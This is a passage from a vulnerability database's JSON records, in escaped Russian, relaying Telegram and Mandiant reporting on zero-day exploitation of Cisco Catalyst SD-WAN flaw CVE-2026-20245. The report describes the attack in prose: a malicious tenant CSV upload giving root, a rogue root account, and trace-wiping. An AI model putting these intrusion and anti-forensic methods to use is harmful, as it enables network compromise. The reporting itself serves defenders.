\u0432\u043e\u0448\u043b\u0438 \u0432 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 SD-WAN Manager \u0438 \u0438\u0437\u0432\u043b\u0435\u043a\u043b\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u0435\u0440\u0438\u0444\u0435\u0440\u0438\u0439\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 \u0438 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432 SD-WAN.\n\nMandiant \u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u0434\u043b\u044f \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0441\u043d\u0438\u0437\u0438\u0442\u044c \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f.\n\n\u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 CVE-2026-20245 \u0447\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0430\u0440\u0435\u043d\u0434\u0430\u0442\u043e\u0440\u0430 \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 SD-WAN, \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 CSV-\u0444\u0430\u0439\u043b evil_tenant.csv.\n\nCVE-2026-20245, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 Mandiant \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 Cisco, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 (CLI) \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 Cisco Catalyst SD-WAN \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u041f\u041e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0437\u0434\u0430\u043b\u0430 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0435 \u043a\u043e\u043f\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f\u00a0/etc/passwd\u0438\u00a0/etc/shadow, \u0430 \u0437\u0430\u0442\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u043b\u0430 \u043d\u043e\u0432\u0443\u044e \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0441 \u0438\u043c\u0435\u043d\u0435\u043c troot \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u00a0su \u043a\u043e\u043c\u0430\u043d\u0434\u0443 Linux \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0441 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430 \u0432\u043d\u043e\u0432\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c root, \u043f\u043e\u043b\u0443\u0447\u0438\u0432 \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c.\n\n\u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c Mandiant, \u043d\u0430\u043f\u0430\u0434\u0430\u0432\u0448\u0438\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043c\u0435\u0442\u043e\u0434\u044b, \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e \u043a\u0440\u0438\u043c\u0438\u043d\u0430\u043b\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439, \u0434\u0430\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f.\n\n\u0427\u0442\u043e \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432 \u0441\u0435\u0431\u044f \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0435\u0440\u0435\u0434 \u0438\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u0441\u043b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041e\u043d\u0438 \u0442\u0430\u043a\u0436\u0435 \u043e\u0447\u0438\u0441\u0442\u0438\u043b\u0438 \u0441\u043b\u0435\u0434\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0443\u0434\u0430\u043b\u0438\u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 CSV-\u0444\u0430\u0439\u043b, \u0443\u0434\u0430\u043b\u0438\u0432 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0430\u0442\u0430\u043a\u0438, \u0438 \u0441\u0442\u0435\u0440\u0435\u0432 \u0441\u043b\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 root.\n\nMandiant \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0432 \u043c\u0430\u0440\u0442\u0435 2026 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0430\u0441\u044c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0438\u0440\u0438\u043d\u0433\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0431\u044b\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043d\u0438 \u043a \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0440\u0430\u043d\u0435\u0435 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nCisco \u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u0447\u0442\u043e \u0432\u0437\u043b\u043e\u043c \u043d\u0435 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e CVE-2026-20182, \u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043b\u0430, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b, \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0435 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430, \u0447\u0442\u043e\u0431\u044b \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 IOCs, IP \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438.", "creation_timestamp": "2026-07-14T00:00:44.446504Z"}, {"uuid": "200692ff-b6da-4c37-b225-30a6d320e10b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/true_secator/8345", "content": "\u041f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043d\u043e\u0432\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u043a\u0430\u043a \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Cisco Catalyst SD-WAN (CVE-2026-20245) \u0432 0-day \u0430\u0442\u0430\u043a\u0430\u0445 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 root \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\nCVE-2026-20245 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 Cisco Catalyst SD-WAN Manager (vManage), Controller (vSmart) \u0438 Validator (vBond), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root \u043f\u0443\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u043e \u043d\u0435\u0439 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u0432, \u0447\u0442\u043e CVE-2026-20245 \u0431\u044b\u043b\u0430\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0430\u0442\u0430\u043a,\u00a0\u043d\u043e \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439.\n\n\u0422\u043e\u0433\u0434\u0430 Cisco \u043b\u0438\u0448\u044c \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root, \u0430 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0431\u044b\u043b\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u043e\u0439 \u043d\u0430 \u043f\u0435\u0440\u0438\u0444\u0435\u0440\u0438\u0439\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Mandiant \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438, \u0447\u0442\u043e CVE-2026-20245 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0443\u0436\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0446\u0435\u043b\u0435\u0432\u044b\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c SD-WAN.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u0435 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u0441 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0438\u0440\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0439 SD-WAN, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0443\u0441\u043b\u0443\u0433.\n\n\u041d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u043c\u0430\u0440\u0442\u0430 2026 \u0433\u043e\u0434\u0430, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 \u0438 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 SD-WAN Manager, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u0432\u043e\u044e\u00a0vmanage-admin \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c.\n\n\u0412 Mandiant \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043c\u043e\u0433\u043b\u043e \u0431\u044b\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0440\u0430\u043d\u0435\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0443\u043b\u0435\u0439 \u0432 Cisco SD-WAN, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0445 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, CVE-2026-20127 \u0438 CVE-2026-20182, \u043e\u0434\u043d\u0430\u043a\u043e \u0442\u043e\u0447\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0442\u0430\u043a \u0438 \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d.\n\n\u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0434\u043e\u0441\u0442\u0443\u043f, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u043c\u0435\u043d\u044f\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0430 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0432\u043e\u0448\u043b\u0438 \u0432 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 SD-WAN Manager \u0438 \u0438\u0437\u0432\u043b\u0435\u043a\u043b\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u0435\u0440\u0438\u0444\u0435\u0440\u0438\u0439\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 \u0438 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432 SD-WAN.\n\nMandiant \u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u0434\u043b\u044f \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0441\u043d\u0438\u0437\u0438\u0442\u044c \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f.\n\n\u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 CVE-2026-20245 \u0447\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0430\u0440\u0435\u043d\u0434\u0430\u0442\u043e\u0440\u0430 \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 SD-WAN, \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 CSV-\u0444\u0430\u0439\u043b evil_tenant.csv.\n\nCVE-2026-20245, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 Mandiant \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 Cisco, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 (CLI) \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 Cisco Catalyst SD-WAN \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u041f\u041e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0437\u0434\u0430\u043b\u0430 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0435 \u043a\u043e\u043f\u0438\u0438 